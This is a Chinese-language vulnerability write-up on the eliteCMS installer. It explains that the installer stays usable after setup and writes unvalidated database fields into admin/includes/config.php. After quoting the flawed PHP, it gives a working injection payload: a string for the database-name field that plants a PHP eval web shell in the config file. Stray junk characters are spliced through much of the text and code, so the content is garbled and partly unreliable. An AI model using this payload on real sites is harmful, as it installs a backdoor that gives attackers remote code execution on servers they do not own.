eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
4 ?4 q, l$ |. e% M9 u& h我们来看代码：
+ A$ t' a  m7 s- G2 b5 b+ u) G2 K! f
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
7 s' U5 Y& P) H2 S    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
! ~% S# I3 S1 ?# y* u; ~4 e8 ?...略...
    $write .= "*\n";
5 X6 l3 G: @6 z: V    $write .= "*/\n";
) @2 r& p2 U8 f5 Q1 Z9 P; H" k    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
# W' q; |) A+ m    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
6 A0 V( U; n2 d  M! a    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
  f5 P7 E! s5 n$ K. ]    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
, ?& a8 ^+ m2 ]/ `: O    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
/ I, `) Z3 q' a; _/ t4 ?...
7 `% w3 g4 J# o% G
在看代码：

/ ~3 m% Z1 `/ f6 n) c: m$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
7 ?. ^% T3 O! ~% f' e0 u0 g. v$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
1 E1 R6 S5 ?# E3 u: t$_SESSION['DB_USER'] = $_POST['DB_USER'];
; I( b* D3 }9 t. J4 p% [9 B$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

4 U3 \, k, g% b取值未作任何验证
如果将数据库名POST数据：
& W9 ~) B+ Y6 ~2 N, Z, ?
"?><?php eval($_POST[c]);?><?php

( R* x+ ^, m; R6 D3 B" y将导致一句话后门写入/admin/includes/config.php